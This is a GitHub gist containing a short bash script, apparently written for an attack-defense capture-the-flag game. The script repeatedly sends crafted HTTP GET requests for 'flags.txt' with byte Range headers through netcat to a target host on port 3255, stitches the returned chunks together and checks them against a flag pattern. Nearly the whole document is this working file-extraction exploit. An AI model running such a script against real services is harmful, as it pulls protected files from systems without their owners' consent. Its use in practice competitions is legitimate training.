Skip to content

Instantly share code, notes, and snippets.

@yurial
Created November 19, 2011 21:42
Show Gist options
  • Save yurial/1379396 to your computer and use it in GitHub Desktop.
Save yurial/1379396 to your computer and use it in GitHub Desktop.
ips
#!/bin/bash
N=0
HOST=$1
while [ 0 ]; do
START=`expr $N \* 33`
STOP=`expr $START + 16`
START2=`expr $STOP + 1`
STOP2=`expr $STOP + 16`
FLAG=`
echo -e "GET flags.txt HTTP/1.1\r\nConnection: close\r\nHost: localhost\r\nRange: bytes=${START}-${STOP}\r\n\r\n" | nc -w 1 -q 1 $HOST 3255 |tail -n 1;
echo -e "GET flags.txt HTTP/1.1\r\nConnection: close\r\nHost: localhost\r\nRange: bytes=${START2}-${STOP2}\r\n\r\n" | nc -w 1 -q 1 $HOST 3255 |tail -n 1
`
egrep '^\w{31}=$' <<<$FLAG || exit
N=`expr $N + 1`
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment